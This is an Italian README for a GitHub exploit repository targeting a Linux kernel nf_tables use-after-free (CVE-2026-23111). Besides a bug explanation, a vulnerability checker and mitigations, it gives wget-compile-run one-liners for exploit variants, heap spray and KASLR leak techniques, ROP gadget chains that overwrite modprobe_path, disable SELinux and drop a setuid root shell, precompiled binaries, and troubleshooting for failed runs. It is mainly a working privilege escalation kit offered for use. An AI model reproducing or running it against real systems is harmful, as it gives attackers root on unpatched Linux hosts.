
Kernel Linux nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables Use-After-Free (Escalatazione Locale dei Privilegi) poc di baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Intervallo di Versioni | Risolta In |
|---|---|
| 6.19-rc1 a 6.19-rc8 | 6.19-rc9+ |
| 6.13 a 6.18.9 | 6.18.10 |
| 6.7 a 6.12.69 | 6.12.70 |
| 6.4.1 a 6.5.x | EOL (nessuna fix stabile) |
| 6.3.10 a 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 a 6.1.162 | 6.1.163 |
| 5.15.121 a 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Vari LTS |
CVE-2026-23111 è un use-after-free di nf_tables causato da un controllo inversion della maschera di generazione in nft_map_catchall_activate(). Durante il rollback di una transazione fallita, gli elementi catchall delle mappe di verdetto che erano stati disattivati da NFT_MSG_DELSET devono essere riattivati in modo che i riferimenti, come i riferimenti alle catene NFT_GOTO, vengano ripristinati. Il percorso di attivazione catchall ha invece saltato gli elementi inattivi e ha processato quelli attivi, lasciando gli elementi catchall disattivati non ripristinati.
La logica di attivazione corretta (non catchall) è:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* salta attivo, processa inattivo */
Il percorso catchall vulnerabile utilizzava la condizione opposta:
if (!nft_set_elem_active(ext, genmask))
continue; /* salta inattivo, processa attivo */
Quando una mappa di verdetto pipapo cancellata viene ripristinata, questo impedisce l'esecuzione di nft_setelem_data_activate() per l'elemento catchall inattivo. Per i dati di verdetto NFT_JUMP/NFT_GOTO, il riferimento alla catena preso da nft_data_hold() non viene quindi ripristinato. Ripetendo la sequenza abort/toggle/cancellazione si può portare chain->use a zero mentre un'altra regola contiene ancora un riferimento di verdetto valido alla catena. Un successivo DELCHAIN può quindi liberare la catena mentre è ancora raggiungibile, creando il UAF.
Crea tabella, catena base, catena vittima e mappa di verdetto pipapo con catchall NFT_GOTO -> vittima
|
Batch 1: cancella il set pipapo, poi forza un errore di transazione
|
Il percorso di abort chiama nft_map_catchall_activate(), ma il controllo invertito salta il catchall inattivo
|
Il catchall rimane inattivo e il contatore di riferimento della catena vittima non viene ripristinato
|
Batch 2: commetti una transazione benigna per alternare il cursore di generazione
|
Batch 3: cancella con successo il set pipapo, decrementando nuovamente il riferimento della catena vittima
|
Batch 4: cancella la catena vittima mentre il verdetto della catena base ancora la riferisce
|
Use-after-free quando la valutazione del pacchetto o il dump delle regole segue il riferimento di verdetto dangling
La fix upstream è rimuovere la negazione in modo che nft_map_catchall_activate() corrisponda a nft_mapelem_activate(): gli elementi attivi vengono saltati, quelli inattivi vengono riattivati, e i riferimenti di verdetto/oggetto vengono ripristinati durante la gestione dell'abort.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Usa questo se il PoC full/v1 fallisce sul kernel target.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Installa prima le dipendenze di build se il compilatore non trova gli header libmnl/libmnl.h o libnftnl:
scripts/install-build-deps.sh
# oppure
make deps
make # Build exploit (solo PoC)
make v2 # Build exploit v2 (approccio FuzzingLabs — prova quando v1 fallisce)
make full # Build exploit LPE completo
make v3 # Build v3 variante calibrata eval-path
make run-d # Esegui PoC con output di debug
make run-v2-d # Esegui v2 con output di debug
make run-v3 # Mostra uso/aiuto v3
make run-full # Esegui LPE completo
Crea un set di mappe pipapo con un elemento catchall (goto catena vittima), quindi usa il bug della genmask invertita durante un abort di DELSET per corrompere chain->use. Dopo aver avanzato il contatore di generazione, DELCHAIN ha successo nonostante i riferimenti dangling, liberando la catena.
Dopo il UAF, la memoria di chain->name viene liberata. Spargiamo strutture seq_operations (32 byte) aprendo /proc/self/stat per reclamare lo slot della slab cache liberato. Leggendo la regola di verdetto immediato della catena base tramite NFT_MSG_GETRULE si ottiene il dump del nome della catena reclamato, rivelando puntatori a funzioni del kernel. La validazione dei puntatori assicura che siano accettati solo indirizzi canonici del testo del kernel.
Riattiva il UAF con un nome di catena più lungo (140 byte → kmalloc-cg-192), poi sparge oggetti nft_rule per reclamare la memoria. I puntatori list_head trapelati rivelano indirizzi dell'heap nella regione della mappa diretta.
nft_expr_ops e nft_rule_blob fittiziblob_gen_0 della catena liberatacommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->eval dirottatoL'exploit v2 (exploit_v2.c) utilizza le tecniche descritte nel writeup di FuzzingLabs e può essere usato quando il PoC v1 fallisce. Differenze chiave:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (puntatore taggato)
msg_queue + 0xc0 → q_messages.next → indirizzo heap msg_msg
Ogni passo usa la struttura della catena liberata come primitiva di lettura arbitraria:
userdata della tabella (128 byte) reclama il nft_chain liberato in kmalloc-cg-128,
e un indirizzo kernel posto all'offset 0x40 (dove risiede chain->name) viene
dereferenziato dal kernel durante i dump degli elementi di SET_B.
La fase heap di v3 è basata su offset predetti, non su una primitiva di lettura arbitraria via eval realmente binary-safe. Calibra il target prima di eseguire lo spray finale:
grep msg_msg /proc/slabinfo
# Confronta con la densità di oggetti kmalloc-cg-2048, poi esegui con:
./exploit_v3 --msg-msg-addr 0xffff...
# oppure, quando il valore è noto rispetto alla base del kernel leakata:
./exploit_v3 --msg-msg-delta 0x...
Verifica gli offset delle strutture nftables rispetto alla build esatta del kernel:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
La scansione dei gadget usa /proc/kcore; se è limitato, estrai i gadget da vmlinux offline e hardcodizza gli indirizzi relativi alla base kernel leakata. Il percorso di valutazione del pacchetto v3 usa push rdi; pop rsp perché rdi = expr; questo differisce dal percorso di validazione v2, dove rsi = expr.
push rdi; pop rsp; pop rbp; ret ← stack pivot (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ scrive modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ disabilita SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ mantiene il kernel vivo
Lo script /tmp/pe viene eseguito come root quando il kernel invoca modprobe_path
dopo aver incontrato un formato binario sconosciuto. Crea una shell setuid root
in /tmp/rootbash.
NFT_MSG_GETELEM (percorso codice kernel diverso) invece di NFT_MSG_GETRULEinit_ipc_ns per camminare le strutture dati del kernel invece di spruzzare oggetti nft_rulemsg_msg-2k (buffer grande e stabile) invece di nft_rules + userdata tabella per il payload ROPmodprobe_path (funziona senza swapgs/iretq) invece di commit_creds + cambio namespaceSLAB_RANDOM/hardening: la catena init_ipc_ns di v2 punta a un globale stabile, rendendo il layout dell'heap meno criticoIn nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // BUG: dovrebbe essere senza '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
Il ! fa sì che la funzione salti gli elementi INATTIVI invece di processarli. Durante l'abort della transazione, l'elemento catchall (appena disattivato da DELSET) viene saltato, quindi nft_data_hold() non viene mai chiamata per ripristinare il contatore di riferimento della catena.
├── CVE-2026-23111-checker.py Script di rilevamento vulnerabilità (--detailed, --json)
├── exploit.c Exploit PoC (UAF + KASLR leak + heap leak)
├── exploit_v2.c Exploit v2 (approccio FuzzingLabs — prova quando v1 fallisce)
├── exploit_full.c Exploit LPE completo (UAF + leaks + catena ROP)
├── exploit_full_aarch64 Binario aarch64 precompilato (statico)
├── exploit_full.b64 Binario exploit completo codificato in Base64
├── Makefile Configurazione build
└── README.md Questo file
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # PoC con ASan
make debug-full # Exploit completo con ASan
Lo script esegue molteplici metodi di rilevamento:
nf_tables è caricatoCONFIG_NF_TABLES da /proc/config.gz o /boot/config-*nft_map_catchall_activate in /proc/kallsymskernel.unprivileged_userns_clonepython3 CVE-2026-23111-checker.py --detailed # Leggibile con mitigazioni
python3 CVE-2026-23111-checker.py --json # JSON leggibile da macchina
sysctl kernel.unprivileged_userns_clone=0nf_tables se non necessario:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| Componente | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| Attivazione UAF | Singolo set + regola goto immediata | Due set (stile FuzzingLabs) + regola lookup |
| Lettura KASLR | NFT_MSG_GETRULE (dump regole) | NFT_MSG_GETELEM (dump elementi) + fallback GETRULE |
| Leak heap | Spray nft_rule + leak list_head | Catena di lettura arbitraria init_ipc_ns |
| Host ROP | nft_rules + userdata tabella | msg_msg-2k (messaggio da 2048 byte) |
| Attivazione hijack | Valutazione pacchetto su goto immediata | Valutazione pacchetto su catchall del set superstite |
| Escalation privilegi | commit_creds + switch_task_namespaces | Sovrascrittura modprobe_path + disabilitazione SELinux |
| Percorso di ritorno | swapgs; iretq | msleep() (rimane nel kernel) |
| Problema | Soluzione |
|---|
mnl_socket_open: No such file or directory | Assicurati che il modulo nf_tables sia caricato: modprobe nf_tables |
unshare: Operation not permitted | Richiede namespace utente non privilegiati. Controlla kernel.unprivileged_userns_clone=1 |
Batch A did NOT abort | Il kernel potrebbe essere patchato o il comportamento della genmask differisce |
No kernel pointer leaked | Potrebbe essere attivo il KASLR hardening o SLAB_RANDOM; prova più esecuzioni |
No heap pointer found | Il tasso di collisione dello spray heap è probabilistico; riprova o aumenta il numero di spray |
Compilazione: nf_tables.h: No such file | Installa gli header del kernel: apt install linux-headers-$(uname -r) |
Errore di link: undefined reference to mnl_* | L'ordine dei link è importante: -lnftnl -lmnl (nftnl prima di mnl) |